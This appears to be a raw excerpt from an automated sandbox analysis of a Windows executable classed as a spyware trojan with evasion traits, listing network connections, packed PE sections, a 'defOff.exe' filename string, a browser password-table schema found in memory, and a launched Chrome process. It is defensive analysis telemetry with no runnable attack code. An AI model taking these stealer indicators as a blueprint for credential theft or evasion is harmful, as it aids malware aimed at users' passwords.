Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.38:443 -> 192.168.2.7:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:50028 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D90A22	0_3_00D90A22
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D90A22	0_3_00D90A22
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D43809	0_3_00D43809
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D89040	0_3_00D89040

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.1645177298.000000000599F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638495182.0000000005A7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639590649.0000000005A8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639340292.0000000005A90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638605761.0000000005998000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638377625.0000000005997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634472253.0000000005996000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1640010398.0000000005B90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644418412.000000000599D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1646847009.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1647842829.0000000005993000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634264543.0000000005999000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634889996.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643787246.0000000005AC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634778619.0000000005993000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645667411.0000000005992000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634163359.0000000005A5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1646508368.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642185292.000000000599F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634973933.0000000005B29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638047198.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634670156.0000000005B17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644689343.0000000005997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632565130.0000000005992000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1630213614.0000000005792000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1630597807.0000000005A25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645980025.0000000005C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634051838.0000000005999000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632065414.0000000005A35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1646678403.000000000599A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1646335246.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1630677143.0000000005997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675911487.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO: vs file.exe
Source: file.exe, 00000000.00000003.1632652598.0000000005A3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1640130046.0000000005998000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645313017.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632149947.0000000005999000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639764514.0000000005995000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1744532336.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639206260.0000000005999000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643640376.000000000599C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638261534.0000000005A7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632744054.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643351371.000000000599E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1738243714.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO: vs file.exe
Source: file.exe, 00000000.00000003.1645532059.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1648111617.0000000005AE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632476042.0000000005A34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639072450.0000000005A82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1647014597.0000000005C27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643925878.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1633860831.0000000005A42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638156269.000000000599E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632926363.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1640622529.0000000005A98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642944973.0000000005BBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641092906.0000000005B9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642432748.0000000005AA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638947563.00000000059A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1640785759.000000000599E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639892552.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1640929581.0000000005A93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1631897754.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1631980661.0000000005997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642808798.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643490045.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632239564.0000000005A38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1631808247.0000000005A28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1633751370.0000000005996000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1742721453.000000000558A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638712155.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1635362216.0000000005994000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1745605926.0000000005EFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1635236347.0000000005A71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632322245.0000000005ADD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675867782.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO: vs file.exe
Source: file.exe, 00000000.00000003.1634370824.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1637929230.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1647649194.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645424767.0000000005997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634571816.0000000005A56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632405074.0000000005996000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1635100903.0000000005992000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641298927.0000000005996000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641636594.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1633195700.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641480992.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643222312.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1633958464.0000000005AFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644895276.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1633104216.000000000599A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641988393.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645037673.0000000005C01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1630276056.000000000599A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1633014911.0000000005B01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1646158507.000000000599E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645830694.0000000005ACB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643083387.0000000005999000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639470877.0000000005993000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632831943.000000000599A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642652416.0000000005998000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644555273.0000000005ACB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1630355925.0000000005A22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675665145.00000000055B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1630518772.0000000005998000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1647274243.000000000599C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641794425.0000000005999000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638836240.0000000005B60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9993788422131148
Source: file.exe	Static PE information: Section: dkvrjkmr ZLIB complexity 0.9939770886099524

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@9/6

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1431702530.00000000055B0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1408242383.00000000055B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1408710419.0000000005589000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431803215.00000000055A3000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
